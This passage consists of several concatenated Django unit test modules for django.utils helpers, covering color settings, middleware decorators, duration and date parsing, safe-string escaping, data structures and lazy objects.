            parse_color_setting('error=green,bLiNk'),
            dict(PALETTES[NOCOLOR_PALETTE], ERROR={'fg': 'green', 'opts': ('blink',)})
        )

    def test_colorize_empty_text(self):
        self.assertEqual(colorize(text=None), '\x1b[m\x1b[0m')
        self.assertEqual(colorize(text=''), '\x1b[m\x1b[0m')

        self.assertEqual(colorize(text=None, opts=('noreset')), '\x1b[m')
        self.assertEqual(colorize(text='', opts=('noreset')), '\x1b[m')






from django.http import HttpResponse
from django.template import engines
from django.template.response import TemplateResponse
from django.test import RequestFactory, SimpleTestCase
from django.utils.decorators import classproperty, decorator_from_middleware


class ProcessViewMiddleware(object):
    def process_view(self, request, view_func, view_args, view_kwargs):
        pass

process_view_dec = decorator_from_middleware(ProcessViewMiddleware)


@process_view_dec
def process_view(request):
    return HttpResponse()


class ClassProcessView(object):
    def __call__(self, request):
        return HttpResponse()

class_process_view = process_view_dec(ClassProcessView())


class FullMiddleware(object):
    def process_request(self, request):
        request.process_request_reached = True

    def process_view(self, request, view_func, view_args, view_kwargs):
        request.process_view_reached = True

    def process_template_response(self, request, response):
        request.process_template_response_reached = True
        return response

    def process_response(self, request, response):
        # This should never receive unrendered content.
        request.process_response_content = response.content
        request.process_response_reached = True
        return response

full_dec = decorator_from_middleware(FullMiddleware)


class DecoratorFromMiddlewareTests(SimpleTestCase):
    """
    Tests for view decorators created using
    ``django.utils.decorators.decorator_from_middleware``.
    """
    rf = RequestFactory()

    def test_process_view_middleware(self):
        """
        Test a middleware that implements process_view.
        """
        process_view(self.rf.get('/'))

    def test_callable_process_view_middleware(self):
        """
        Test a middleware that implements process_view, operating on a callable class.
        """
        class_process_view(self.rf.get('/'))

    def test_full_dec_normal(self):
        """
        Test that all methods of middleware are called for normal HttpResponses
        """

        @full_dec
        def normal_view(request):
            template = engines['django'].from_string("Hello world")
            return HttpResponse(template.render())

        request = self.rf.get('/')
        normal_view(request)
        self.assertTrue(getattr(request, 'process_request_reached', False))
        self.assertTrue(getattr(request, 'process_view_reached', False))
        # process_template_response must not be called for HttpResponse
        self.assertFalse(getattr(request, 'process_template_response_reached', False))
        self.assertTrue(getattr(request, 'process_response_reached', False))

    def test_full_dec_templateresponse(self):
        """
        Test that all methods of middleware are called for TemplateResponses in
        the right sequence.
        """

        @full_dec
        def template_response_view(request):
            template = engines['django'].from_string("Hello world")
            return TemplateResponse(request, template)

        request = self.rf.get('/')
        response = template_response_view(request)
        self.assertTrue(getattr(request, 'process_request_reached', False))
        self.assertTrue(getattr(request, 'process_view_reached', False))
        self.assertTrue(getattr(request, 'process_template_response_reached', False))
        # response must not be rendered yet.
        self.assertFalse(response._is_rendered)
        # process_response must not be called until after response is rendered,
        # otherwise some decorators like csrf_protect and gzip_page will not
        # work correctly. See #16004
        self.assertFalse(getattr(request, 'process_response_reached', False))
        response.render()
        self.assertTrue(getattr(request, 'process_response_reached', False))
        # Check that process_response saw the rendered content
        self.assertEqual(request.process_response_content, b"Hello world")


class ClassPropertyTest(SimpleTestCase):
    def test_getter(self):
        class Foo(object):
            foo_attr = 123

            def __init__(self):
                self.foo_attr = 456

            @classproperty
            def foo(cls):
                return cls.foo_attr

        class Bar(object):
            bar = classproperty()

            @bar.getter
            def bar(cls):
                return 123

        self.assertEqual(Foo.foo, 123)
        self.assertEqual(Foo().foo, 123)
        self.assertEqual(Bar.bar, 123)
        self.assertEqual(Bar().bar, 123)

    def test_override_getter(self):
        class Foo(object):
            @classproperty
            def foo(cls):
                return 123

            @foo.getter
            def foo(cls):
                return 456

        self.assertEqual(Foo.foo, 456)
        self.assertEqual(Foo().foo, 456)






import datetime
import unittest

from django.utils.dateparse import parse_duration
from django.utils.duration import duration_iso_string, duration_string


class TestDurationString(unittest.TestCase):

    def test_simple(self):
        duration = datetime.timedelta(hours=1, minutes=3, seconds=5)
        self.assertEqual(duration_string(duration), '01:03:05')

    def test_days(self):
        duration = datetime.timedelta(days=1, hours=1, minutes=3, seconds=5)
        self.assertEqual(duration_string(duration), '1 01:03:05')

    def test_microseconds(self):
        duration = datetime.timedelta(hours=1, minutes=3, seconds=5, microseconds=12345)
        self.assertEqual(duration_string(duration), '01:03:05.012345')

    def test_negative(self):
        duration = datetime.timedelta(days=-1, hours=1, minutes=3, seconds=5)
        self.assertEqual(duration_string(duration), '-1 01:03:05')


class TestParseDurationRoundtrip(unittest.TestCase):

    def test_simple(self):
        duration = datetime.timedelta(hours=1, minutes=3, seconds=5)
        self.assertEqual(parse_duration(duration_string(duration)), duration)

    def test_days(self):
        duration = datetime.timedelta(days=1, hours=1, minutes=3, seconds=5)
        self.assertEqual(parse_duration(duration_string(duration)), duration)

    def test_microseconds(self):
        duration = datetime.timedelta(hours=1, minutes=3, seconds=5, microseconds=12345)
        self.assertEqual(parse_duration(duration_string(duration)), duration)

    def test_negative(self):
        duration = datetime.timedelta(days=-1, hours=1, minutes=3, seconds=5)
        self.assertEqual(parse_duration(duration_string(duration)), duration)


class TestISODurationString(unittest.TestCase):

    def test_simple(self):
        duration = datetime.timedelta(hours=1, minutes=3, seconds=5)
        self.assertEqual(duration_iso_string(duration), 'P0DT01H03M05S')

    def test_days(self):
        duration = datetime.timedelta(days=1, hours=1, minutes=3, seconds=5)
        self.assertEqual(duration_iso_string(duration), 'P1DT01H03M05S')

    def test_microseconds(self):
        duration = datetime.timedelta(hours=1, minutes=3, seconds=5, microseconds=12345)
        self.assertEqual(duration_iso_string(duration), 'P0DT01H03M05.012345S')

    def test_negative(self):
        duration = -1 * datetime.timedelta(days=1, hours=1, minutes=3, seconds=5)
        self.assertEqual(duration_iso_string(duration), '-P1DT01H03M05S')


class TestParseISODurationRoundtrip(unittest.TestCase):

    def test_simple(self):
        duration = datetime.timedelta(hours=1, minutes=3, seconds=5)
        self.assertEqual(parse_duration(duration_iso_string(duration)), duration)

    def test_days(self):
        duration = datetime.timedelta(days=1, hours=1, minutes=3, seconds=5)
        self.assertEqual(parse_duration(duration_iso_string(duration)), duration)

    def test_microseconds(self):
        duration = datetime.timedelta(hours=1, minutes=3, seconds=5, microseconds=12345)
        self.assertEqual(parse_duration(duration_iso_string(duration)), duration)

    def test_negative(self):
        duration = datetime.timedelta(days=-1, hours=1, minutes=3, seconds=5)
        self.assertEqual(parse_duration(duration_iso_string(duration)).total_seconds(), duration.total_seconds())






from django.db import models


class Category(models.Model):
    name = models.CharField(max_length=100)

    def next(self):
        return self


class Thing(models.Model):
    name = models.CharField(max_length=100)
    category = models.ForeignKey(Category, models.CASCADE)


class CategoryInfo(models.Model):
    category = models.OneToOneField(Category, models.CASCADE)






from __future__ import unicode_literals

from django.template import Context, Template
from django.test import SimpleTestCase, ignore_warnings
from django.utils import html, six, text
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_bytes
from django.utils.functional import lazy, lazystr
from django.utils.safestring import (
    EscapeData, SafeData, mark_for_escaping, mark_safe,
)

lazybytes = lazy(force_bytes, bytes)


class customescape(six.text_type):
    def __html__(self):
        # implement specific and obviously wrong escaping
        # in order to be able to tell for sure when it runs
        return self.replace('<', '<<').replace('>', '>>')


class SafeStringTest(SimpleTestCase):
    def assertRenderEqual(self, tpl, expected, **context):
        context = Context(context)
        tpl = Template(tpl)
        self.assertEqual(tpl.render(context), expected)

    def test_mark_safe(self):
        s = mark_safe('a&b')

        self.assertRenderEqual('{{ s }}', 'a&b', s=s)
        self.assertRenderEqual('{{ s|force_escape }}', 'a&amp;b', s=s)

    def test_mark_safe_object_implementing_dunder_html(self):
        e = customescape('<a&b>')
        s = mark_safe(e)
        self.assertIs(s, e)

        self.assertRenderEqual('{{ s }}', '<<a&b>>', s=s)
        self.assertRenderEqual('{{ s|force_escape }}', '&lt;a&amp;b&gt;', s=s)

    def test_mark_safe_lazy(self):
        s = lazystr('a&b')
        b = lazybytes(b'a&b')

        self.assertIsInstance(mark_safe(s), SafeData)
        self.assertIsInstance(mark_safe(b), SafeData)
        self.assertRenderEqual('{{ s }}', 'a&b', s=mark_safe(s))

    def test_mark_safe_object_implementing_dunder_str(self):
        class Obj(object):
            def __str__(self):
                return '<obj>'

        s = mark_safe(Obj())

        self.assertRenderEqual('{{ s }}', '<obj>', s=s)

    def test_mark_safe_result_implements_dunder_html(self):
        self.assertEqual(mark_safe('a&b').__html__(), 'a&b')

    def test_mark_safe_lazy_result_implements_dunder_html(self):
        self.assertEqual(mark_safe(lazystr('a&b')).__html__(), 'a&b')

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_mark_for_escaping(self):
        s = mark_for_escaping('a&b')
        self.assertRenderEqual('{{ s }}', 'a&amp;b', s=s)
        self.assertRenderEqual('{{ s }}', 'a&amp;b', s=mark_for_escaping(s))

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_mark_for_escaping_object_implementing_dunder_html(self):
        e = customescape('<a&b>')
        s = mark_for_escaping(e)
        self.assertIs(s, e)

        self.assertRenderEqual('{{ s }}', '<<a&b>>', s=s)
        self.assertRenderEqual('{{ s|force_escape }}', '&lt;a&amp;b&gt;', s=s)

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_mark_for_escaping_lazy(self):
        s = lazystr('a&b')
        b = lazybytes(b'a&b')

        self.assertIsInstance(mark_for_escaping(s), EscapeData)
        self.assertIsInstance(mark_for_escaping(b), EscapeData)
        self.assertRenderEqual('{% autoescape off %}{{ s }}{% endautoescape %}', 'a&amp;b', s=mark_for_escaping(s))

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_mark_for_escaping_object_implementing_dunder_str(self):
        class Obj(object):
            def __str__(self):
                return '<obj>'

        s = mark_for_escaping(Obj())

        self.assertRenderEqual('{{ s }}', '&lt;obj&gt;', s=s)

    def test_add_lazy_safe_text_and_safe_text(self):
        s = html.escape(lazystr('a'))
        s += mark_safe('&b')
        self.assertRenderEqual('{{ s }}', 'a&b', s=s)

        s = html.escapejs(lazystr('a'))
        s += mark_safe('&b')
        self.assertRenderEqual('{{ s }}', 'a&b', s=s)

        s = text.slugify(lazystr('a'))
        s += mark_safe('&b')
        self.assertRenderEqual('{{ s }}', 'a&b', s=s)

    def test_mark_safe_as_decorator(self):
        """
        mark_safe used as a decorator leaves the result of a function
        unchanged.
        """
        def clean_string_provider():
            return '<html><body>dummy</body></html>'

        self.assertEqual(mark_safe(clean_string_provider)(), clean_string_provider())

    def test_mark_safe_decorator_does_not_affect_dunder_html(self):
        """
        mark_safe doesn't affect a callable that has an __html__() method.
        """
        class SafeStringContainer:
            def __html__(self):
                return '<html></html>'

        self.assertIs(mark_safe(SafeStringContainer), SafeStringContainer)

    def test_mark_safe_decorator_does_not_affect_promises(self):
        """
        mark_safe doesn't affect lazy strings (Promise objects).
        """
        def html_str():
            return '<html></html>'

        lazy_str = lazy(html_str, str)()
        self.assertEqual(mark_safe(lazy_str), html_str())






# Used to test for modules which don't have submodules.






import unittest

from django.utils import inspect


class Person(object):
    def no_arguments(self):
        return None

    def one_argument(self, something):
        return something

    def just_args(self, *args):
        return args

    def all_kinds(self, name, address='home', age=25, *args, **kwargs):
        return kwargs


class TestInspectMethods(unittest.TestCase):
    def test_get_func_full_args_no_arguments(self):
        self.assertEqual(inspect.get_func_full_args(Person.no_arguments), [])

    def test_get_func_full_args_one_argument(self):
        self.assertEqual(inspect.get_func_full_args(Person.one_argument), [('something',)])

    def test_get_func_full_args_all_arguments(self):
        arguments = [('name',), ('address', 'home'), ('age', 25), ('*args',), ('**kwargs',)]
        self.assertEqual(inspect.get_func_full_args(Person.all_kinds), arguments)

    def test_func_accepts_var_args_has_var_args(self):
        self.assertIs(inspect.func_accepts_var_args(Person.just_args), True)

    def test_func_accepts_var_args_no_var_args(self):
        self.assertIs(inspect.func_accepts_var_args(Person.one_argument), False)






"""
Tests for stuff in django.utils.datastructures.
"""

import copy

from django.test import SimpleTestCase
from django.utils import six
from django.utils.datastructures import (
    DictWrapper, ImmutableList, MultiValueDict, MultiValueDictKeyError,
    OrderedSet,
)


class OrderedSetTests(SimpleTestCase):

    def test_bool(self):
        # Refs #23664
        s = OrderedSet()
        self.assertFalse(s)
        s.add(1)
        self.assertTrue(s)

    def test_len(self):
        s = OrderedSet()
        self.assertEqual(len(s), 0)
        s.add(1)
        s.add(2)
        s.add(2)
        self.assertEqual(len(s), 2)


class MultiValueDictTests(SimpleTestCase):

    def test_multivaluedict(self):
        d = MultiValueDict({'name': ['Adrian', 'Simon'],
                            'position': ['Developer']})

        self.assertEqual(d['name'], 'Simon')
        self.assertEqual(d.get('name'), 'Simon')
        self.assertEqual(d.getlist('name'), ['Adrian', 'Simon'])
        self.assertEqual(
            sorted(six.iteritems(d)),
            [('name', 'Simon'), ('position', 'Developer')]
        )

        self.assertEqual(
            sorted(six.iterlists(d)),
            [('name', ['Adrian', 'Simon']), ('position', ['Developer'])]
        )

        with self.assertRaisesMessage(MultiValueDictKeyError, 'lastname'):
            d.__getitem__('lastname')

        self.assertIsNone(d.get('lastname'))
        self.assertEqual(d.get('lastname', 'nonexistent'), 'nonexistent')
        self.assertEqual(d.getlist('lastname'), [])
        self.assertEqual(d.getlist('doesnotexist', ['Adrian', 'Simon']),
                         ['Adrian', 'Simon'])

        d.setlist('lastname', ['Holovaty', 'Willison'])
        self.assertEqual(d.getlist('lastname'), ['Holovaty', 'Willison'])
        self.assertEqual(sorted(six.itervalues(d)),
                         ['Developer', 'Simon', 'Willison'])

    def test_appendlist(self):
        d = MultiValueDict()
        d.appendlist('name', 'Adrian')
        d.appendlist('name', 'Simon')
        self.assertEqual(d.getlist('name'), ['Adrian', 'Simon'])

    def test_copy(self):
        for copy_func in [copy.copy, lambda d: d.copy()]:
            d1 = MultiValueDict({
                "developers": ["Carl", "Fred"]
            })
            self.assertEqual(d1["developers"], "Fred")
            d2 = copy_func(d1)
            d2.update({"developers": "Groucho"})
            self.assertEqual(d2["developers"], "Groucho")
            self.assertEqual(d1["developers"], "Fred")

            d1 = MultiValueDict({
                "key": [[]]
            })
            self.assertEqual(d1["key"], [])
            d2 = copy_func(d1)
            d2["key"].append("Penguin")
            self.assertEqual(d1["key"], ["Penguin"])
            self.assertEqual(d2["key"], ["Penguin"])

    def test_dict_translation(self):
        mvd = MultiValueDict({
            'devs': ['Bob', 'Joe'],
            'pm': ['Rory'],
        })
        d = mvd.dict()
        self.assertEqual(sorted(six.iterkeys(d)), sorted(six.iterkeys(mvd)))
        for key in six.iterkeys(mvd):
            self.assertEqual(d[key], mvd[key])

        self.assertEqual({}, MultiValueDict().dict())


class ImmutableListTests(SimpleTestCase):

    def test_sort(self):
        d = ImmutableList(range(10))

        # AttributeError: ImmutableList object is immutable.
        with self.assertRaisesMessage(AttributeError, 'ImmutableList object is immutable.'):
            d.sort()

        self.assertEqual(repr(d), '(0, 1, 2, 3, 4, 5, 6, 7, 8, 9)')

    def test_custom_warning(self):
        d = ImmutableList(range(10), warning="Object is immutable!")

        self.assertEqual(d[1], 1)

        # AttributeError: Object is immutable!
        with self.assertRaisesMessage(AttributeError, 'Object is immutable!'):
            d.__setitem__(1, 'test')


class DictWrapperTests(SimpleTestCase):

    def test_dictwrapper(self):
        def f(x):
            return "*%s" % x
        d = DictWrapper({'a': 'a'}, f, 'xx_')
        self.assertEqual(
            "Normal: %(a)s. Modified: %(xx_a)s" % d,
            'Normal: a. Modified: *a'
        )






from __future__ import unicode_literals

import unittest
from datetime import date, datetime, time, timedelta

from django.utils.dateparse import (
    parse_date, parse_datetime, parse_duration, parse_time,
)
from django.utils.timezone import get_fixed_timezone


class DateParseTests(unittest.TestCase):

    def test_parse_date(self):
        # Valid inputs
        self.assertEqual(parse_date('2012-04-23'), date(2012, 4, 23))
        self.assertEqual(parse_date('2012-4-9'), date(2012, 4, 9))
        # Invalid inputs
        self.assertIsNone(parse_date('20120423'))
        with self.assertRaises(ValueError):
            parse_date('2012-04-56')

    def test_parse_time(self):
        # Valid inputs
        self.assertEqual(parse_time('09:15:00'), time(9, 15))
        self.assertEqual(parse_time('10:10'), time(10, 10))
        self.assertEqual(parse_time('10:20:30.400'), time(10, 20, 30, 400000))
        self.assertEqual(parse_time('4:8:16'), time(4, 8, 16))
        # Invalid inputs
        self.assertIsNone(parse_time('091500'))
        with self.assertRaises(ValueError):
            parse_time('09:15:90')

    def test_parse_datetime(self):
        # Valid inputs
        self.assertEqual(
            parse_datetime('2012-04-23T09:15:00'),
            datetime(2012, 4, 23, 9, 15)
        )
        self.assertEqual(
            parse_datetime('2012-4-9 4:8:16'),
            datetime(2012, 4, 9, 4, 8, 16)
        )
        self.assertEqual(
            parse_datetime('2012-04-23T09:15:00Z'),
            datetime(2012, 4, 23, 9, 15, 0, 0, get_fixed_timezone(0))
        )
        self.assertEqual(
            parse_datetime('2012-4-9 4:8:16-0320'),
            datetime(2012, 4, 9, 4, 8, 16, 0, get_fixed_timezone(-200))
        )
        self.assertEqual(
            parse_datetime('2012-04-23T10:20:30.400+02:30'),
            datetime(2012, 4, 23, 10, 20, 30, 400000, get_fixed_timezone(150))
        )
        self.assertEqual(
            parse_datetime('2012-04-23T10:20:30.400+02'),
            datetime(2012, 4, 23, 10, 20, 30, 400000, get_fixed_timezone(120))
        )
        self.assertEqual(
            parse_datetime('2012-04-23T10:20:30.400-02'),
            datetime(2012, 4, 23, 10, 20, 30, 400000, get_fixed_timezone(-120))
        )
        # Invalid inputs
        self.assertIsNone(parse_datetime('20120423091500'))
        with self.assertRaises(ValueError):
            parse_datetime('2012-04-56T09:15:90')


class DurationParseTests(unittest.TestCase):

    def test_parse_python_format(self):
        timedeltas = [
            timedelta(days=4, minutes=15, seconds=30, milliseconds=100),  # fractions of seconds
            timedelta(hours=10, minutes=15, seconds=30),  # hours, minutes, seconds
            timedelta(days=4, minutes=15, seconds=30),  # multiple days
            timedelta(days=1, minutes=00, seconds=00),  # single day
            timedelta(days=-4, minutes=15, seconds=30),  # negative durations
            timedelta(minutes=15, seconds=30),  # minute & seconds
            timedelta(seconds=30),  # seconds
        ]
        for delta in timedeltas:
            self.assertEqual(parse_duration(format(delta)), delta)

    def test_seconds(self):
        self.assertEqual(parse_duration('30'), timedelta(seconds=30))

    def test_minutes_seconds(self):
        self.assertEqual(parse_duration('15:30'), timedelta(minutes=15, seconds=30))
        self.assertEqual(parse_duration('5:30'), timedelta(minutes=5, seconds=30))

    def test_hours_minutes_seconds(self):
        self.assertEqual(parse_duration('10:15:30'), timedelta(hours=10, minutes=15, seconds=30))
        self.assertEqual(parse_duration('1:15:30'), timedelta(hours=1, minutes=15, seconds=30))
        self.assertEqual(parse_duration('100:200:300'), timedelta(hours=100, minutes=200, seconds=300))

    def test_days(self):
        self.assertEqual(parse_duration('4 15:30'), timedelta(days=4, minutes=15, seconds=30))
        self.assertEqual(parse_duration('4 10:15:30'), timedelta(days=4, hours=10, minutes=15, seconds=30))

    def test_fractions_of_seconds(self):
        self.assertEqual(parse_duration('15:30.1'), timedelta(minutes=15, seconds=30, milliseconds=100))
        self.assertEqual(parse_duration('15:30.01'), timedelta(minutes=15, seconds=30, milliseconds=10))
        self.assertEqual(parse_duration('15:30.001'), timedelta(minutes=15, seconds=30, milliseconds=1))
        self.assertEqual(parse_duration('15:30.0001'), timedelta(minutes=15, seconds=30, microseconds=100))
        self.assertEqual(parse_duration('15:30.00001'), timedelta(minutes=15, seconds=30, microseconds=10))
        self.assertEqual(parse_duration('15:30.000001'), timedelta(minutes=15, seconds=30, microseconds=1))

    def test_negative(self):
        self.assertEqual(parse_duration('-4 15:30'), timedelta(days=-4, minutes=15, seconds=30))

    def test_iso_8601(self):
        self.assertIsNone(parse_duration('P4Y'))
        self.assertIsNone(parse_duration('P4M'))
        self.assertIsNone(parse_duration('P4W'))
        self.assertEqual(parse_duration('P4D'), timedelta(days=4))
        self.assertEqual(parse_duration('P0.5D'), timedelta(hours=12))
        self.assertEqual(parse_duration('PT5H'), timedelta(hours=5))
        self.assertEqual(parse_duration('PT5M'), timedelta(minutes=5))
        self.assertEqual(parse_duration('PT5S'), timedelta(seconds=5))
        self.assertEqual(parse_duration('PT0.000005S'), timedelta(microseconds=5))






from __future__ import unicode_literals

import copy
import pickle
import sys
import warnings
from unittest import TestCase

from django.utils import six
from django.utils.functional import LazyObject, SimpleLazyObject, empty

from .models import Category, CategoryInfo


class Foo(object):
    """
    A simple class with just one attribute.
    """
    foo = 'bar'

    def __eq__(self, other):
        return self.foo == other.foo


class LazyObjectTestCase(TestCase):
    def lazy_wrap(self, wrapped_object):
        """
        Wrap the given object into a LazyObject
        """
        class AdHocLazyObject(LazyObject):
            def _setup(self):
                self._wrapped = wrapped_object

        return AdHocLazyObject()

    def test_getattr(self):
        obj = self.lazy_wrap(Foo())
        self.assertEqual(obj.foo, 'bar')

    def test_setattr(self):
        obj = self.lazy_wrap(Foo())
        obj.foo = 'BAR'
        obj.bar = 'baz'
        self.assertEqual(obj.foo, 'BAR')
        self.assertEqual(obj.bar, 'baz')

    def test_setattr2(self):
        # Same as test_setattr but in reversed order
        obj = self.lazy_wrap(Foo())
        obj.bar = 'baz'
        obj.foo = 'BAR'
        self.assertEqual(obj.foo, 'BAR')
        self.assertEqual(obj.bar, 'baz')

    def test_delattr(self):
        obj = self.lazy_wrap(Foo())
        obj.bar = 'baz'
        self.assertEqual(obj.bar, 'baz')
        del obj.bar
        with self.assertRaises(AttributeError):
            obj.bar

    def test_cmp(self):
        obj1 = self.lazy_wrap('foo')
        obj2 = self.lazy_wrap('bar')
        obj3 = self.lazy_wrap('foo')
        self.assertEqual(obj1, 'foo')
        self.assertEqual(obj1, obj3)
        self.assertNotEqual(obj1, obj2)
        self.assertNotEqual(obj1, 'bar')

    def test_bytes(self):
        obj = self.lazy_wrap(b'foo')
        self.assertEqual(bytes(obj), b'foo')

    def test_text(self):
        obj = self.lazy_wrap('foo')
        self.assertEqual(six.text_type(obj), 'foo')

    def test_bool(self):
        # Refs #21840
        for f in [False, 0, (), {}, [], None, set()]:
            self.assertFalse(self.lazy_wrap(f))
        for t in [True, 1, (1,), {1: 2}, [1], object(), {1}]:
            self.assertTrue(t)

    def test_dir(self):
        obj = self.lazy_wrap('foo')
        self.assertEqual(dir(obj), dir('foo'))

    def test_len(self):
        for seq in ['asd', [1, 2, 3], {'a': 1, 'b': 2, 'c': 3}]:
            obj = self.lazy_wrap(seq)
            self.assertEqual(len(obj), 3)

    def test_class(self):
        self.assertIsInstance(self.lazy_wrap(42), int)

        class Bar(Foo):
            pass

        self.assertIsInstance(self.lazy_wrap(Bar()), Foo)

    def test_hash(self):
        obj = self.lazy_wrap('foo')
        d = {obj: 'bar'}
        self.assertIn('foo', d)
        self.assertEqual(d['foo'], 'bar')

    def test_contains(self):
        test_data = [
            ('c', 'abcde'),
            (2, [1, 2, 3]),
            ('a', {'a': 1, 'b': 2, 'c': 3}),
            (2, {1, 2, 3}),
        ]
        for needle, haystack in test_data:
            self.assertIn(needle, self.lazy_wrap(haystack))

        # __contains__ doesn't work when the haystack is a string and the needle a LazyObject
        for needle_haystack in test_data[1:]:
            self.assertIn(self.lazy_wrap(needle), haystack)
            self.assertIn(self.lazy_wrap(needle), self.lazy_wrap(haystack))

    def test_getitem(self):
        obj_list = self.lazy_wrap([1, 2, 3])
        obj_dict = self.lazy_wrap({'a': 1, 'b': 2, 'c': 3})

        self.assertEqual(obj_list[0], 1)
        self.assertEqual(obj_list[-1], 3)
        self.assertEqual(obj_list[1:2], [2])

        self.assertEqual(obj_dict['b'], 2)

        with self.assertRaises(IndexError):
            obj_list[3]

        with self.assertRaises(KeyError):
            obj_dict['f']

    def test_setitem(self):
        obj_list = self.lazy_wrap([1, 2, 3])
        obj_dict = self.lazy_wrap({'a': 1, 'b': 2, 'c': 3})

        obj_list[0] = 100
        self.assertEqual(obj_list, [100, 2, 3])
        obj_list[1:2] = [200, 300, 400]
        self.assertEqual(obj_list, [100, 200, 300, 400, 3])

        obj_dict['a'] = 100
        obj_dict['d'] = 400
        self.assertEqual(obj_dict, {'a': 100, 'b': 2, 'c': 3, 'd': 400})

    def test_delitem(self):
        obj_list = self.lazy_wrap([1, 2, 3])
        obj_dict = self.lazy_wrap({'a': 1, 'b': 2, 'c': 3})

        del obj_list[-1]
        del obj_dict['c']
        self.assertEqual(obj_list, [1, 2])
        self.assertEqual(obj_dict, {'a': 1, 'b': 2})

        with self.assertRaises(IndexError):
            del obj_list[3]

        with self.assertRaises(KeyError):
            del obj_dict['f']

    def test_iter(self):
        # Tests whether an object's custom `__iter__` method is being
        # used when iterating over it.

        class IterObject(object):

            def __init__(self, values):
                self.values = values

            def __iter__(self):
                return iter(self.values)

        original_list = ['test', '123']
        self.assertEqual(
            list(self.lazy_wrap(IterObject(original_list))),
            original_list
        )

    def test_pickle(self):
        # See ticket #16563
        obj = self.lazy_wrap(Foo())
        pickled = pickle.dumps(obj)
        unpickled = pickle.loads(pickled)
        self.assertIsInstance(unpickled, Foo)
        self.assertEqual(unpickled, obj)
        self.assertEqual(unpickled.foo, obj.foo)

    # Test copying lazy objects wrapping both builtin types and user-defined
    # classes since a lot of the relevant code does __dict__ manipulation and
    # builtin types don't have __dict__.

    def test_copy_list(self):
        # Copying a list works and returns the correct objects.
        l = [1, 2, 3]

        obj = self.lazy_wrap(l)
        len(l)  # forces evaluation
        obj2 = copy.copy(obj)

        self.assertIsNot(obj, obj2)
        self.assertIsInstance(obj2, list)
        self.assertEqual(obj2, [1, 2, 3])

    def test_copy_list_no_evaluation(self):
        # Copying a list doesn't force evaluation.
        l = [1, 2, 3]

        obj = self.lazy_wrap(l)
        obj2 = copy.copy(obj)

        self.assertIsNot(obj, obj2)
        self.assertIs(obj._wrapped, empty)
        self.assertIs(obj2._wrapped, empty)

    def test_copy_class(self):
        # Copying a class works and returns the correct objects.
        foo = Foo()

        obj = self.lazy_wrap(foo)
        str(foo)  # forces evaluation
        obj2 = copy.copy(obj)

        self.assertIsNot(obj, obj2)
        self.assertIsInstance(obj2, Foo)
        self.assertEqual(obj2, Foo())

    def test_copy_class_no_evaluation(self):
        # Copying a class doesn't force evaluation.
        foo = Foo()

        obj = self.lazy_wrap(foo)
        obj2 = copy.copy(obj)

        self.assertIsNot(obj, obj2)
        self.assertIs(obj._wrapped, empty)
        self.assertIs(obj2._wrapped, empty)

    def test_deepcopy_list(self):
        # Deep copying a list works and returns the correct objects.
        l = [1, 2, 3]

        obj = self.lazy_wrap(l)
        len(l)  # forces evaluation
        obj2 = copy.deepcopy(obj)

        self.assertIsNot(obj, obj2)
        self.assertIsInstance(obj2, list)
        self.assertEqual(obj2, [1, 2, 3])

    def test_deepcopy_list_no_evaluation(self):
        # Deep copying doesn't force evaluation.
        l = [1, 2, 3]

        obj = self.lazy_wrap(l)
        obj2 = copy.deepcopy(obj)

        self.assertIsNot(obj, obj2)
        self.assertIs(obj._wrapped, empty)
        self.assertIs(obj2._wrapped, empty)

    def test_deepcopy_class(self):
        # Deep copying a class works and returns the correct objects.
        foo = Foo()

        obj = self.lazy_wrap(foo)
        str(foo)  # forces evaluation
        obj2 = copy.deepcopy(obj)

        self.assertIsNot(obj, obj2)
        self.assertIsInstance(obj2, Foo)
        self.assertEqual(obj2, Foo())

    def test_deepcopy_class_no_evaluation(self):
        # Deep copying doesn't force evaluation.
        foo = Foo()

        obj = self.lazy_wrap(foo)
        obj2 = copy.deepcopy(obj)

        self.assertIsNot(obj, obj2)
        self.assertIs(obj._wrapped, empty)
        self.assertIs(obj2._wrapped, empty)


class SimpleLazyObjectTestCase(LazyObjectTestCase):
    # By inheriting from LazyObjectTestCase and redefining the lazy_wrap()
    # method which all testcases use, we get to make sure all behaviors
    # tested in the parent testcase also apply to SimpleLazyObject.
    def lazy_wrap(self, wrapped_object):
        return SimpleLazyObject(lambda: wrapped_object)

    def test_repr(self):
        # First, for an unevaluated SimpleLazyObject
        obj = self.lazy_wrap(42)
        # __repr__ contains __repr__ of setup function and does not evaluate
        # the SimpleLazyObject
        six.assertRegex(self, repr(obj), '^<SimpleLazyObject:')
        self.assertIs(obj._wrapped, empty)  # make sure evaluation hasn't been triggered

        self.assertEqual(obj, 42)  # evaluate the lazy object
        self.assertIsInstance(obj._wrapped, int)
        self.assertEqual(repr(obj), '<SimpleLazyObject: 42>')

    def test_trace(self):
        # See ticket #19456
        old_trace_func = sys.gettrace()
        try:
            def trace_func(frame, event, arg):
                frame.f_locals['self'].__class__
                if old_trace_func is not None:
                    old_trace_func(frame, event, arg)
            sys.settrace(trace_func)
            self.lazy_wrap(None)
        finally:
            sys.settrace(old_trace_func)

    def test_none(self):
        i = [0]

        def f():
            i[0] += 1
            return None

        x = SimpleLazyObject(f)
        self.assertEqual(str(x), "None")
        self.assertEqual(i, [1])
        self.assertEqual(str(x), "None")
        self.assertEqual(i, [1])

    def test_dict(self):
        # See ticket #18447
        lazydict = SimpleLazyObject(lambda: {'one': 1})
        self.assertEqual(lazydict['one'], 1)
        lazydict['one'] = -1
        self.assertEqual(lazydict['one'], -1)
        self.assertIn('one', lazydict)
        self.assertNotIn('two', lazydict)
        self.assertEqual(len(lazydict), 1)
        del lazydict['one']
        with self.assertRaises(KeyError):
            lazydict['one']

    def test_list_set(self):
        lazy_list = SimpleLazyObject(lambda: [1, 2, 3, 4, 5])
        lazy_set = SimpleLazyObject(lambda: {1, 2, 3, 4})
        self.assertIn(1, lazy_list)
        self.assertIn(1, lazy_set)
        self.assertNotIn(6, lazy_list)
        self.assertNotIn(6, lazy_set)
        self.assertEqual(len(lazy_list), 5)
        self.assertEqual(len(lazy_set), 4)


class BaseBaz(object):
    """
    A base class with a funky __reduce__ method, meant to simulate the
    __reduce__ method of Model, which sets self._django_version.
    """
    def __init__(self):
        self.baz = 'wrong'

    def __reduce__(self):
        self.baz = 'right'
        return super(BaseBaz, self).__reduce__()

